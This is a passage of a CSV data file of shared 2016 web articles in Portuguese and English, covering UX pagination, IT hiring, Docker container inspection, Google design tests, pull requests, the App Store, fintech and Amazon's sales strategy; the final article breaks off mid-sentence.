1465424159,CONTENT SHARED,-2948321821574578861,7527226129639571966,3989456265529686673,,,,HTML,http://arquiteturadeinformacao.com/usabilidade/quando-usar-paginacao-e-quando-user-scroll-infinito/,Quando usar paginação e quando usar scroll infinito?,"Scroll infinito é uma técnica que permite que o usuário continue rolando por uma infinidade de conteúdos sem precisar em nenhum momento apertar nenhum botão para carregar mais. Depois exemplos famosos desse tipo de interação são o newsfeed do Facebook, e o seu feed pessoal do Pinterest: você continua rolando a página indefinidamente, sem nunca precisar trocar de página ou apertar um botão para carregar mais itens. Aliás, essa técnica está totalmente alinhada com a estratégia desses serviços: eles não querem que você se dê conta que já está rolando a página há um tempão e que você chegou ao final dela; quanto menos você perceber isso, melhor . Por isso o scroll infinito é um ótimo alinhado de serviços que medem seu sucesso pelo tempo de engajamento do usuário no site ou aplicativo. O lado negativo do scroll infinito Na verdade é plural: negativos. Falta de sensação de controle. Alcançar um ""ponto final"" dá ao usuário a sensação de controle. Quando você tem um número de resultados limitados, você consegue facilmente se o resultado que você procura está ali ou não. No scroll infinito isso fica impossível, porque você não faz ideia do que vem pela frente. Falta de localização. Porque o feed é infinito, o usuário não consegue determinar um ponto específico na página onde está a informação que ele está procurando. Mesmo que ele consiga na primeira visita; em sua segunda visita ele já não consegue mais localizar onde estava aquela informação, já que a localização geográfica do conteúdo varia muito no scroll infinito. Além dos problemas acima, o scroll infinito ainda pode trazer um problema de performance para sua página ou app, já que carregar muito conteúdo na mesma página requer muita memória do seu browser. Por fim, se o usuário está tentando chegar até o rodapé do site para encontrar um link (termos de serviço, contato, etc.), ele pode se sentir frustrado com o fato de a página carregar mais conteúdo toda vez que ele volta a scrollar. A alternativa para isso é simplesmente não ter um rodapé, ou colocar os links que iriam rodapé em outro lugar do site. Quando usar paginação e quando usar scroll infinito? Scroll infinito funciona melhor para sites com conteúdo gerado por usuários (exemplo: Twitter, Facebook), conteúdo visual (exemplo: Pinterest, Google Images) ou sites que pretendem equilibrar a quantidade de tráfego em seu conteúdo. Já a paginação é mais universal, e funciona melhor para plataformas onde o usuário tem uma tarefa bem específica em mente (exemplo: busca do Google). Concorda? Discorda?",pt
1465426410,CONTENT SHARED,-4726309075125105018,-5527145562136413747,3192880191028684629,,,,HTML,http://itforum365.com.br/noticias/detalhe/120082/gap-de-talentos-volta-a-assombrar-area-de-tecnologia-da-informacao,Gap de talentos volta a assombrar área de tecnologia da informação,"Apagão versão 2016 A quantidade de CIOs que relata escassez de habilidades de tecnologia está no nível mais alto desde a recessão em 2008 e muitos líderes de tecnologia dizem que esse gap os impede de manter o ritmo da mudança digital. Em pesquisa realizada com 3.352 CIOs e outros líderes de tecnologia pelas empresas Harvey Nash e KPMG, 65% dos entrevistados disseram que problemas de recrutamento estavam bloqueando os esforços de modernização da TI. No ano passado, o número foi de 59%. A consequência disso? As taxas de sucesso de projeto estão caindo em áreas como big data, mostra o levantamento. ""Isso é impressionante"", surpreende-se Bob Miano, presidente e CEO da Harvey Nash EUA. ""CIOs podem ter grandes ideias, mas se você não pode obter o talento certo de TI, isso é um problema."" De acordo com o estudo, a demanda é maior para especialistas de análise de dados, pelo segundo ano consecutivo, seguido por gerentes de projetos e analistas de negócios. Equipe para supervisionar times terceirizados, por outro lado, estão em menor demanda, com algumas empresas reduzir a terceirização e procurando contratar pessoal de TI interno. WellCare Health Plans é uma das empresas que está planejando o uso de fornecedores externos, buscando, em vez de contratar internamente para posições estratégicas. O CIO da empresa, Darren Ghanayem, quer contratar analistas de dados e engenheiros de software experientes com habilidades em Hadoop, entre outras funções. ""No passado, era 'vamos encontrar talentos ao melhor custo disponível'. Agora é 'vamos tentar a expansão o nosso núcleo, que vai nos ajudar a crescer como empresa'"", disse ele. Para aumentar o conjunto de candidatos, além de olhar para competências específicas, a WellCare procura por ""pessoas capazes de aprender"", assinalou. Habilidades técnicas podem ser ensinadas, afirmou, observando que ele é um engenheiro aeroespacial por formação, mas que aprendeu sobre TI no dia a dia. O executivo também está tentando identificar pessoas em unidades de negócios com propensão para tecnologia que podem querer se juntar ao grupo de TI. Os participantes da pesquisa reconhecem que a alta demanda por certas habilidades gera novas pressões. Experts em blockchain , tecnologia de contabilidade on-line mais conhecida por apoiar o bitcoin , estão sendo caçados pelo mercado por uma oferta salarial de US$ 250 mil. Além disso, a rotatividade entre os profissionais de tecnologia está aumentando a demanda em determinadas profissões, como análise de dados e gestão de projetos. Quando CIOs encontram as pessoas certas, 90% dizem que estão preocupados em retê-los, de acordo com a pesquisa.",pt
1465434226,CONTENT SHARED,-5214997228209357198,3217014177234377440,888912618275092077,,,,HTML,http://www.atireiopaunografico.com.br/2016/05/planejamento-pessoal-vista.html,[Tools] Planejamento Pessoal a Vista,"Quem conhece a estória de Alice nos País das Maravilhas, talvez se lembre de quando ela, numa encruzilhada, pergunta ao Gato de Cheshire qual o caminho a seguir. O Gato lhe volta com uma nova pergunta: ""aonde é que você quer chegar?"". Ela diz que não se importava com isso, e o Gato lhe responde que não importa, então, qual o caminho tomar. Essa estorinha serve pra gente se lembrar de como nossos objetivos deveriam direcionar nossas ações do ""aqui e agora"". E talvez isso também ajude a organizar nossa agenda diária. A Alice poderia perguntar ao Gato: ""o que devo fazer esta semana?"". É provável que o Gato dissesse: ""o que você quer realizar?"". Eu me fiz essa pergunta, e vi que muitas das atividades da minha semana não se relacionavam com as coisas que eu gostaria de realizar. Então, decidi criar um quadro de gestão a vista em que aparecesse essas duas dimensões: Realização x Agenda Semanal, veja só como ficou: A parte de cima do quadro começa pelos desafios ou temas de realização que organizam as colunas do quadro. Escolhi cinco para Pessoal (lado esquerdo) e cinco para Profissional (lado direito). Abaixo deles, no próximo nível, descrevo os objetivos importantes de médio prazo para cada tema. No terceiro nível, temos as atividades de curto prazo (próximos passos). Nesse nível eu descrevo coisas que devem entrar na agenda nas próximas semanas. E abaixo de tudo vem minha agenda da semana. E é no ""aqui e agora"" desta semana, que eu posso realmente construir o futuro que desejo, assim eu decido as coisas que vão fazer parte do meu dia-a-dia. Segue um quadro esquemático para lhe ajudar, caso você queira fazer um seu. Tem dado certo, fique à vontade para copiar ou fazer um quadro parecido com esse e me dê um feedback se está funcionando para você. Até Roberto P.S.: talvez você tenha de fazer um esforço extra para resolver quais temas a adotar, ou quais objetivos a escolher. Eu fiz isso com a ajuda de um competente coach pessoal que se chama Luiz Felipe Ormonde:",pt
1465441290,CONTENT SHARED,-5507019982244746725,-8020832670974472349,838596071610016700,,,,HTML,http://jerrygamblin.com/2016/06/08/what-to-inspect-when-you-are-inspecting/,What to Inspect When You are Inspecting!,"Docker containers have become so ubiquitous sometimes respected security professionals tweet ridiculous things like: docker run -u zap -p 8080:8080 -p 8090:8090 -i owasp/zap2docker-stable zap-webswing.sh - Jerry Gamblin (@JGamblin) June 7, 2016 ...but it is 2016 and you should never run code on your machine if you don't know what it does. These are mini-virtual machines and not magically secure little shipping containers*. At a minimum you should do these basic things to get some idea of what you are putting on your machine before you run it. Pull the container first: docker pull jgamblin/tiny-tor Use Docker Inspect to look at the container's metadata: docker inspect jgamblin/tiny-tor You will want to carefully read through that output and take time to look at these fields: Image The image this container is running. NetworkSettings The network settings for the container, LogPath The system path to this container's log file. Name The user defined name for the container. Volumes Defines the volume mapping between the host system and the container. HostConfig Key configurations for how the container will interact with the host system. These could take CPU and memory limits, networking values, or device driver paths. Config The runtime configuration options set when the docker run command was executed. Use Docker History to see how the image was built: docker history jgamblin/tiny-tor Protip: CenturylinkLabs released a tool to create a Dockerfile from a container. Run the container without network access and look around a bit: docker run -t -i jgamblin/tiny-tor /bin/sh After you have done the following steps and feel comfortable you can then: docker run -t -i -p 9050:9050 jgamblin/tiny-tor If you do these basic things you can feel a little better about what you are running on your system. * What a magically secure little shipping container might look like:",en
1465443590,CONTENT SHARED,2687654465640040976,-1032019229384696495,-67483630648809830,,,,HTML,http://www.theverge.com/2016/6/8/11881786/google-search-material-design-layout-test,Google is testing a new Material Design layout for desktop searches,"Material Design is supposed to be the visual template that unifies Google's products, but it's taken a while to reach every part of the tech company's kingdom - especially the larger products. We saw a Material Design overhaul of YouTube last month , and it seems the company is also testing the updated look on its desktop search. Engadget first spotted the change , and various users on Twitter and Reddit have also reported glimpsing the provisional update. It's not a massive change from the current look of Google's desktop searches, and the main visual difference is segmented search results into separate white cards floating on a gray background. There are a few other minor tweaks, including changing the settings icon from a cog to a three vertical dots, and updating the search button from a white-on-blue magnifying glass to a gray-on-white one. The Google homepage also gets a refresh in line with these changes. Okay, I am seeing @google search result page with Material Design. Looks good. @GoogleDesign #design #Google pic.twitter.com/SiLxOhA5aK - Jay Tyagi (@jay7yagi) May 21, 2016 One of the bigger tweaks is to Google's Knowledge Graph results - those information-dense cards that pop up alongside certain search results with basic facts like biographical details. These usually appear to the side of search results, though sometimes at the top of the page too. In the Material Design update Google is testing, it appears they're being shunted into the main column of search results, along with adverts and image searches. Of course, this is all just provisional at the moment. Google often tests various tweaks to its design with various users (e.g. turning search results from blue to black ), analyzing how the changes affect interaction with its sites. Let us know if you've seen the Material Design update yourself and what you think of it.",en
1465484901,CONTENT SHARED,8657408509986329668,-8020832670974472349,838596071610016700,,,,HTML,https://medium.com/practical-blend/pull-request-first-f6bb667a9b6,Pull request first - Practical Blend,"Pull request first After two years of working with pull requests a bit differently from the norm, I now take for granted that most developers submit pull requests only once their work is ""ready"" for review. Obviously... right? Or... not? There's a different approach I'd argue provides more transparency to your team, makes sure everyone is aligned and helps to keep a historical record of what decisions were made when developing a feature. Simply... Open a pull request before you write code.* Wait, what? Rather than treating pull requests solely as means for reviewing code, use the pull request as the master of record for the work related to a feature. This isn't a new idea - this is an approach our product team at bitHound practiced for nearly 2 years, inspired by GitHub itself ( Zach Holman's talk explains it). * And yes, technically GitHub requires at least one commit to open a pull request, so you have to write something first. There are several benefits that we saw from adopting this approach: Increased transparency Your Open Pull Requests view on GitHub becomes an instant snapshot of the current state of dev work in your company. Isn't that what the scrum board is for? Oh, sure it is - and once everyone races to move/write their stickies 30 seconds before standup, you'll get a similar view (for about 5 minutes). Specs as you go By using checkboxes in the pull request description , you can build out the current list of todos, what issues the pull request addresses, and update that as you uncover hidden gotchas during development. Those checkbox counts even bubble up to your pull request list for easy at-a-glance status updates. This allows other collaborators to know what the progress is on the feature, and let's them jump in at the appropriate spot. We'd often use these checkboxes to track issues we discovered in development rather than opening new tickets. Or, reference existing issues that will get closed when the pull request gets merged . Continuous review Why review when someone has ""finished"" only to realize they might have taken a wrong turn somewhere early in development? With open pull requests as you work, reviews can be done as the work is done. Sure this isn't always practical when everyone is super busy, but it works great when you're bringing a new team member on board, or just working on a doozy of a feature. It's helped catch problems before they become disasters. Great for asynchronous/remote work While our work style was very much centred around in-person discussion, we did have enough occasions where someone was working remotely (home, different country, whatever). I found that this is where the pull request was critical in understanding the state of the project. As long as you kept the pull request current, it didn't matter if you missed an earlier Slack or office discussion that changed its direction. What's the catch? Is everyone on board? Like any approach to organizing your work, it's only as good as the effort the team puts into it. So you need to keep each other honest to make sure pull requests are updated in a timely fashion. Does it scale? I don't know. Like any methodology, make sure it makes sense for you. When it stops working, tweak something or look for alternatives. What's the priority? Unlike a scrum board, there is no clear indication of progress as you can't reorder open pull requests (without the use of some extensions at least), but you can probably get away with a good labeling/milestone system that helps alleviates this.",en
1465488259,CONTENT SHARED,-5380376324140474506,881856221521045800,6178486427970494602,,,,HTML,http://exame.abril.com.br/tecnologia/noticias/mudancas-na-app-store-podem-nao-conquistar-desenvolvedores,Mudanças na App Store podem não conquistar desenvolvedores | EXAME.com,"San Francisco - A Apple anunciou uma série de aguardados melhoramentos na App Store, mas os novos recursos podem não reduzir preocupações de desenvolvedores e analistas de mercado que afirmam que o modelo da loja de aplicativos pode estar ultrapassado. A loja reformulada vai permitir que os desenvolvedores divulguem seus aplicativos em resultados de busca e dará a eles uma parcela maior das receitas com assinaturas. A Apple ainda afirmou que acelerou muito a velocidade de aprovação dos aplicativos vendidos na loja. O objetivo é sustentar um ciclo virtuoso no centro do lucrativo negócio criado pelos iPhones. Produtores de software desenvolvem aplicativos para o celular da Apple porque seus clientes têm interesse em pagar por eles e estes consumidores, por sua vez, pagam um prêmio pelo aparelho porque consideram que tem os melhores aplicativos. A loja é mais importante estrategicamente que nunca para a Apple, em um momento em que as vendas do iPhone começam a dar sinais de desaceleração e a companhia busca softwares e serviços para preencher esse espaço. O presidente-executivo da Apple, Tim Cook, afirmou em conferência recente que as receitas da App Store subiram 35% no ano passado. Mas a loja também é vítima de seu próprio sucesso. Oito anos depois de seu lançamento, a App Store tem mais de 1,9 milhão de aplicativos, segundo uma análise da empresa App Annie, o que torna praticamente impossível para desenvolvedores conseguirem um espaço de usuários. Além disso, fica cada vez mais difícil para os usuários encontrarem o que precisam, já que cerca de 14 mil novos aplicativos chegam à loja toda semana. ""O espaço para aplicativos ficou fora de controle"", disse Vint Cerf, um dos inventores da Internet e atualmente vice-presidente do Google durante uma conferência em San Francisco sobre o futuro da web. ""Precisamos deixar esta ideia de ter um aplicativo individual para qualquer coisa individual que você queira fazer."" Alguns usuários estão abandonando aplicativos para adotarem serviços de mensagens como o Slack ou o Messenger, do Facebook, que estão avançando sobre áreas como shopping e armazenagem de documentos. Enquanto isso, rápidos avanços em inteligência artificial podem levar a um mundo em que as pessoas utilizam assistentes digitais controlados por voz como o Siri, da Apple, em vez de abrirem aplicativos individuais. Se estas tecnologias decolarem, podem eliminar a vantagem desfrutada pela Apple por meio de seu forte ecossistema de aplicativos e dar mais força ao Google, que é amplamente considerado como líder na inteligência artificial. ""A atual dinâmica é muito favorável à Apple e isto é uma indicação de que podemos ter uma mudança para uma dinâmica diferente em que o Google terá uma forte vantagem"", disse Benedict Evans, sócio da empresa de investimentos de risco Andreessen Horowitz. ""Não importa o que você faça a uma loja de aplicativos, você sempre vai ter o mesmo problema: É uma lista de milhões de coisas"", acrescentou.",pt
1465488593,CONTENT SHARED,-4880614998012292765,881856221521045800,6178486427970494602,,,,HTML,http://www.digitaltrends.com/home/philips-sonicare-smart-toothbrush/,New smart toothbrush from Philips Sonicare is a true 21st-century product,"The most high-tech room in your house may soon be your bathroom. At least, if you consider bringing a dentist into your home by way of a true 21st-century toothbrush. Thanks to the latest new smart toothbrush from Philips Sonicare, which bears the rather unwieldy name of the Philips Sonicare FlexCare Platinum Connected , you'll have unprecedented insights as to just how you're brushing your teeth, and whether you're brushing certain parts of your mouth too much or too little. So if you're tired of hearing your dentist tell you about the same problem spots over and over again, you may be able to beat her to the punch with this Bluetooth connected toothbrush. The connectivity of this particular toothbrush is key, as it uses its myriad sensors in the handle to track your brushing habits. This data is then transmitted via Bluetooth to an app (available for both iOS and Android), where you'll be shown a 3D map of the insides of your mouth. From there, you'll be able to determine which teeth you've taken care of, and which you've been neglecting. And better still, you'll see how much pressure you're applying, and if it's too heavy or too light. And of course, because both the app and the toothbrush itself feature a timer, you'll know when you've hit the recommended two-minute mark. Related : Poppits are toothpaste-filled pods that melt in your mouth ""With FlexCare Platinum, even the deepest clean is gentle enough to protect your teeth and gums,"" Philips says. ""Thanks to the AdaptiveClean brush head and intuitive pressure sensor you can get maximum plaque removal and a gentle experience however you brush."" Claiming 10 times more plaque removal and healthier gums when compared to results of a manual toothbrush, the new smart brush also boasts three modes and three intensities, two different brushheads, and a UV brush head sanitizer. So if you're a true denizen of the 21st century, you might as well bring your mouth into the future as well.",en
1465491249,CONTENT SHARED,7459726589306441015,-1032019229384696495,-67483630648809830,,,,HTML,http://mashable.com/2016/06/07/spring-app-relaunch/,Shopping app Spring's redesign could be a game-changer,"Back in 2013, Alan Tisch, the CEO of the shopping app Spring, thought he was a little late to the mobile party. ""Isn't this a little late to be starting this? Hasn't mobile blown up?"" he asked his now business partners. He was referring to mobile-commerce - m-commerce as we now call it - an experience that was virtually non-existent then. There were, of course, mobile versions of e-commerce platforms. But nothing was quite like Spring, an app Tisch would launch in August of 2014, that was mobile-first in its approach. Ironically, Tisch wasn't late to the mobile party. He was a tad bit early. ""Though people are on their phones all the time, their purchasing habits are still on their desktops,"" he says to Mashable . ""In Asia, m-commerce is 100% there. But here, it's not there yet. People are still like, 'can I really spend $3,000 on my phone? Is it safe?'"" Three years later, Spring is still trying to change how Americans view shopping on their phones. Not that the brand hasn't been doing a good job at that. When it first launched in 2014 with 125 brands, it was touted as the future, one that Vogue once said would ""change the way you shop forever."" It had ""cool"" currency with influencers like streetstyle influencer Nick Wooster to hot direct-to-consumer brands like Greats onboard. A same-day delivery service initiative with Uber made it seem as if Spring was a nimble brand that would deliver you your order in under a few hours. A year later, Spring found venture capital cash flooding in, announcing it had raised $25 million from the likes of Google Ventures, Josh Kushner, and Ashton Kutcher, among others. But lusting after the cool factor seems to have faded. Today, Tisch wants to focus on scaling and ensuring the user experience entices new customers. The new app launch today comes with 1100 brands from the likes of DKNY, Toms, Cole Haan and Club Monaco, among others. They join brands like big box retailers from Urban Outfitters, to high-end designers like Tod's, 3.1 Phillip Lim and Kenzo. Tisch says the biggest goal for Spring for the future, is to make it the one shopping app that any consumer would ever need for shopping. ""When you ask people how many apps they use, they only use around 5-7 apps multiple times in a day,"" he says. ""When they think of shopping, there should be one app."" The CEO says the experience and aesthetic will make it seem premium with its ""pops of color"" throughout. He's most excited, he says, about how the colors will change from season to season. ""It will feel like a refresh and every couple of months with its seasonal designs,"" he says. ""It's all about uniqueness,"" he says when it comes to acquiring new customers in the heavily competitive commerce space. ""It's a crowded marketplace, but the way you win is being unique."" Spring, he says, will work on exclusive collaborations with brands, feature brands not sold anywhere else, while doing so with ""best in class mobile software."" The refresh will also focus on editorial content that aspires to bring the brands' stories directly to the consumer. ""It should be seasonal and timely,"" Tisch says. ""We don't want top 10 list click-baity stories, rather, celebration of the designer and the products they made."" The brand's entire business model is one that is based off of ""drop ship,"" or a marketplace model. That is, Spring doesn't hold any of its own inventory or do buys for seasons, rather, is the middle man between consumers and fashion companies who will ship out items themselves. Spring then will keep a percentage of all sales. It's an enticing model for small brands that don't have the capacity to venture into m-commerce, while being an entirely new set of eyeballs for bigger companies who want younger consumers. But even with this flashy new redesign, free shipping, free returns, a VIP service, along with direct customer service numbers, Tisch knows this isn't enough to become profitable. "" Amazon hasn't been profitable in 20 years,"" he says. ""They're creating trust with their customers. We understand that in commerce, it's a long game."" Have something to add to this story? Share it in the comments.",en
1465496203,CONTENT SHARED,2048657552251060795,5660542693104786364,-7990858727359702237,,,,HTML,http://kevin-moseri.de/creating-value-with-vlendright/,Creating value in auto finance with vLendRight | Kevin Moseri,"Creating value in auto finance is now at the forefront of innovation. vLendRight is partnering up with banks to streamline the customer journey and help financial institutions gain market share in auto finance. ""Our belief is that automotive financial institutions ought to look beyond the traditional direct and indirect delivery mechanism and strive to make experiences better for their customers by offering them what we call a hybrid customer journey platform"" - Sachin Kumar, Platform Strategy vLendRight vLendRight, a start-up incubated and powered by ValueLabs recently won the 3 rd prize at the ENBD FinTech Challenge which had 230 applicants from 89 cities. The ENBD FinTech Challenge is a global competition for financial technology start-ups launched by the Emirates NBD Group and the Open Bank Project. By re-imagining customer's auto purchase journey as a purchase funnel, the vLendRight digital age customer journey platform matches cars to a customer persona and allows financial institutions to effectively use their knowledge of the customer. On the other hand, by integrating partner dealers, data ecosystem and car data, the platform also allows vLendRight to deliver smart advice on financing options and deals Creating value in auto finance for the customer There are a lot of market inequalities which cause a lot of friction when it comes to the auto purchase process. The vLendRight platform facilitates friction removal in the purchase process by: Optimizing the end to end auto purchase cycle into a seamless process that ends up saving time and removing hassle from the purchase process for the end customer Integration and enrichment of the customer journey through data sources that enables customers to move down the purchase funnel Easing the customer interaction with the automobile salesman, a situation that can otherwise involve an adversarial transaction, much unlike a normal dealing with a mortgage broker Enabling bank's dealer partners to expedite sale of their vehicle inventory by way of digital vehicle listings, transaction enablers (lead management, financial tools etc.) and insights emanating out of the customer journey on the platform ""vLendRight can be summed up as a platform that enables financial institutions to remain relevant across their customer's end to end auto purchase journey by creating value for not only the end customers but for all other key stakeholders as well "" - Sushankar Daspal, Product Manager vLendRight Creating value in auto finance for banks and dealers There is an inherent gap in auto finance that vLendRight is looking to fill. By design thinking the customer auto purchase journey, it allows banks to play a key role in the process because: Banks and dealerships have the opportunity to trace the customer journey at any step; and take a proactively positive action Banks can disrupt the marketplace by delivering a contextual pre-approval linked to a vehicle of choice for customers before they enter a dealership Banks strengthens dealer relationships by sending confirmed leads thereby helping dealers improve their sales efficiency and inventory turnover How good is a deal financially- explained by way of the concept of vPrudence score ""Customers generally get emotionally invested in a vehicle on the back of an auto purchase pursuit that is not only aspirationally but also affordability led. Moreover the associated financial deal quoted to the customer initially seems affordable but may turn out to be costly in the long run"" - Sushankar Daspal, Product Manager vLendRight vLendRight offers personalized financial guidance by meshing individual's affordability across all key aspects of the purchase journey and importantly while structuring the loan/ lease repayment deals. The platform goes beyond the concept of a loan calculator and enables customers to leverage vPrudence score by comparing repayment deals on their alignment with their financial attitudes/ goals as ascertained by their journey on the platform. There are a lot of market inequalities which cause a lot of friction when it comes to the auto purchase process. Click To Tweet Further details about the vLendRight platform are available on and for enquiries, please email info@vlendright.com A marketing expert for the first-to-be-licensed E-Money institute in Germany, PayCenter GmbH. He has experience in developing online marketing campaigns, online & mobile product launches, and EU funding regulation. He is an active fintech blogger with interests in online banking, mobile banking, mobile payment, and insurance.",en
1465496331,CONTENT SHARED,-1101832997669013246,5660542693104786364,-7990858727359702237,,,,HTML,http://www.businesswire.com/news/home/20160602006259/en/Visa-Introduces-NFC-Enabled-Payment-Ring-Team-Visa,Visa Introduces NFC-Enabled Payment Ring for Team Visa Sponsored Athletes to Use at Rio 2016 Olympic Games,"SAN FRANCISCO--()--Visa Inc. (NYSE:V), the exclusive payment provider at the Olympic and Paralympic Games, today introduced a new innovation for use at the Rio 2016 Games - the first payment wearable ring backed by a Visa account. The Visa payment ring will be given to all Team Visa athletes in Rio, a group of 45 Olympic hopefuls from around the world who embody Visa's values of acceptance, partnership and innovation. The Visa payment ring is NFC-enabled, allowing Team Visa athletes to make purchases by simply tapping their ring at any NFC-capable payment terminal. Key features of the ring make this a unique payment experience. The ring uses the patented NFC Ring ® design of McLear & Co. that includes a secure microchip made by Gemalto, with an embedded NFC-enabled antenna, enabling contactless payment capabilities. Unlike many other payment wearables, the ring does not require use of a battery or recharging. It is also water resistant to a depth of 50 meters, meaning Team Visa athlete and Olympic gold medalist Missy Franklin can go from the pool to payment all with the tap of her ring. In addition, at an event in New York City today, Visa demonstrated an advanced prototype version of the Visa payment ring, which uses token technology provided through Visa Token Service , making it the first tokenized payment ring. Visa's token technology replaces sensitive payment information, such as the 16-digit account number, with a unique digital identifier that can be used to process payments without exposing actual account details. ""Visa's first payment ring puts smart payment technology right on the hands of our athletes for convenient and easy payments,"" said Jim McCarthy, executive vice president of innovation and strategic partnerships at Visa Inc. ""This ring is the latest example of how Visa is continuously innovating to deliver on its goal of universal acceptance at the games and across the world."" Athletes and fans will also be able to use their Visa accounts leading up to, and at the Rio Games, using various new form factors. From booking and planning their trip using Visa Checkout or making purchases at the games on their mobile phone, both experiences are first-time offerings for Rio 2016, enabling athletes and fans to swipe, tap, dip or click to pay during their Olympic experience. ""As an Olympian, rings have a special meaning to me,"" said Missy Franklin, a four-time Olympic gold medalist and Team Visa athlete. ""The Visa ring is a great innovation that I know all the athletes competing in Rio will enjoy as it will be great to go from a competition to purchase without having to carry a wallet or card."" As the exclusive payment provider of the Olympic Games, Visa is creating and managing the entire payment system infrastructure and network throughout all venues including stadiums, press centers, point-of-sale (POS), the Olympic Village and Olympic Superstores. In Rio, Visa will implement approximately 4,000 NFC-enabled POS terminals capable of accepting mobile and wearable payments across key Olympic venues, the US Olympic Committee's USA House and Copacabana Megastore. As the payments industry increasingly shifts from plastic to digital, new technology advances from Visa and its partners are bringing consumers a simple and more secure purchasing experience. About Visa Inc. : Visa Inc. (NYSE: V) is a global payments technology company that connects consumers, businesses, financial institutions and governments in more than 200 countries and territories to fast, secure and reliable electronic payments. We operate one of the world's most advanced processing networks - VisaNet - that is capable of handling more than 65,000 transaction messages a second, with fraud protection for consumers and assured payment for merchants. Visa is not a bank and does not issue cards, extend credit or set rates and fees for consumers. Visa's innovations, however, enable its financial institution customers to offer consumers more choices: pay now with debit, pay ahead of time with prepaid or pay later with credit products. For more information, visit usa.visa.com/about-visa , visacorporate.tumblr.com and @VisaNews .",en
1465496738,CONTENT SHARED,1653300339718932603,3609194402293569455,-6596959598248279321,,,,HTML,https://endeavor.org.br/estrategia-de-vendas-da-amazon-pode-estar-na-sua-empresa/,A estratégia de vendas da Amazon,"A Amazon vem promovendo a multiplicação das vendas há anos. E não tem milagre nenhum nisso Se você é um visitante assíduo do portal Endeavor já deve ter topado com algum conteúdo sobre a Amazon. É inescapável. Vira-e-mexe o CEO Jeff Bezos se sai com alguma pirueta estratégica que acaba por quebrar paradigmas e se tornar tendência de mercado. Assim, o criador da maior loja online do planeta responde não por um, mas por vários cases de sucesso, nos mais diferentes campos de gestão. Quando o assunto é marketinge vendas, então, nem se fala. Desde 2006, ano de criação do Marketplace da Amazon, a linha de crescimento se transformou em uma assombrosa curva exponencial. Hoje, mais de 300 milhões de pessoas escolhem a empresa . Nós poderíamos passar a manhã discutindo os motivos que levam a isso; afinal, é tanta inovação irradiada da sede da Amazon, em Seattle, que ela mais parece uma usina disruptiva . Mas o fato é que grande parte dessas inovações resultam de uma estratégia bem específica. Aquela utilizada nas vendas, nas comunicações e no desenvolvimento do negócio. Em outras palavras, a estratégia de marketing . E aí, por se tratar da Amazon, você sempre terá aprendizados preciosos para levar para o seu próprio empreendimento. Mas, espera, sou novo nisso de marketing ! Opa, sem problemas. Só que, antes de explorar o incrível mundo de Bezos, vale a pena fazer um rápido pit stop aqui: Introdução ao Marketing para Empreendedores . É um curso online e totalmente gratuito da Endeavor que te ensina a, entre outras coisas, criar uma estratégia de marketing e a desenvolver um posicionamento de marca . É conhecimento aplicável compartilhado por Leonardo Filardi, verdadeiro craque no assunto. Passa lá e depois volta aqui. Prometemos que não vamos a lugar nenhum! De volta à Amazon. De acordo com o empreendedor da Sieve Luis Vabo Jr , a estratégia da empresa não poderia ser mais preto-no-branco: quanto mais produtos, mais experiência para o consumidor, mais tráfego, mais vendedores, mais crescimento, menos custo, mais preço baixo e por aí vai. É tão simples que foi escrita em um guardanapo por Bezos - este famoso Napkin Diagram aí embaixo. Para implementar atualmente esse Círculo Virtuoso, a Amazon tem investido na diversificação. O que significa que tem priorizado quatro elementos-chave: o já mencionado Marketplace ; o Amazon Prime , programa anual de relacionamento com uma série de benefícios, como entregas grátis em até dois dias e acesso a conteúdos exclusivos; os Fullfilments, unidades de operação e logística; e os Web Services , serviços de ""nuvem"" da empresa. Sem falar no Kindle , nos drones e em tantas outras inovações que vem de lá. O segredo não é a intervenção divina Mas vamos nos ater ao e-commerce . Vamos olhar para o que resulta desse pensamento estratégico de marketing: uma marca global, valiosíssima e com uma imagem e valores absolutamente difundidos. Hoje, mesmo em países onde a Amazon não atua, quase todo mundo sabe o que a empresa faz: vende muito barato, entrega muito rápido. E bota venda nisso. Já são mais de 320 milhões de produtos à disposição do consumidor, um número que dobrou nos últimos dois anos . Nenhum acaso ou milagre aí, bem entendido: os dados impressionantes são fruto daquela estratégia que prioriza, sempre, o consumidor e a experiência de compra: Está no livro "" The Everything Store "", em que Brad Stone conta a trajetória da Amazon, está nas palestras de Bezos e está na ponta da língua de qualquer funcionário da empresa: ""obsessão pelo cliente, foco implacável e viés para ação"". São princípios de liderança colocados na prática todos os dias por meio de uma cultura organizacional impressionante. Quer um exemplo? É frequente que a própria Amazon ofereça dinheiro aos funcionários para que deixem a companhia. Ou seja, só fica lá quem realmente quer e acredita. Saem os que eles chamam mercenários , ficam os missionários . Mas minha empresa está muito longe dessa magnitude... Então é hora de arregaçar as mangas! Tendo as ideias de Bezos como inspiração, é hora de botar para fazer e realizar aquele seu sonho grande. A Endeavor tem outros cursos que te ajudam nesse sentido. Como aumentar e gerenciar suas vendas , por exemplo. Com ele, você aprende a estruturar estratégias de vendas para alavancar as receitas e gerar maior satisfação dos seus clientes . Sabe aquele diagrama do guardanapo ali de cima? Então, é basicamente isso. O curso vai te ajudar a encontrar a estratégia mais adequada para a sua empresa. Ministrado pelo especialista Thiago de Carvalho, também é 100% online e gratuito. Depois de realizá-lo, você será capaz de: Identificar a diferença de venda consultiva e venda transacional; Definir estratégias de canais de distribuição; Entender o que compõe todo o processo de vendas; Acompanhar o ciclo de vendas (relacionamento com clientes); Construir e gerenciar uma equipe de vendas. A importância de olhar para o que o mercado está fazendo Entre as várias máximas atribuídas a Jeff Bezos, uma é bem oportuna para este artigo: ""Você deve olhar para o que as outras empresas estão fazendo. É muito importante não ser hermeticamente fechado. Mas você não quer olhar e dizer: 'Ok, vamos copiar isso'. Você quer olhar e dizer: 'Isso é muito interessante. Como os resultados disso podem nos inspirar?' E, em seguida, vai colocar seu próprio toque exclusivo."" De certa forma, ele está apontando para a importância de se tomar o pulso do mercado, de indagá-lo e conhecê-lo. Em outras palavras, de realizar pesquisas constantemente. Por isso, um curso que também vale a pena você conhecer é "" Como fazer uma pesquisa de mercado eficiente "". Nele, você aprende a tomar decisões estratégicas sobre distribuição e precificação do seu produto , identificar as reais necessidades e desejos não satisfeitos dos seus potenciais clientes e ajustar as premissas nas quais seu negócio está baseado . Após as aulas online e gratuitas ministradas por Cynthia Serva, coordenadora do Centro de Empreendedorismo do Insper, você poderá: Conhecer profundamente o seu público-alvo por meio de diferentes formas de pesquisas. Entender as principais características do seu setor. Saber mapear os seus concorrentes e analisá-los, definindo sua vantagem competitiva. Definir o preço de seu produtos/serviços. Entender o que é inovação dentro do seu mercado. Esse último item aí é fundamental. Pois trata de um assunto que, para 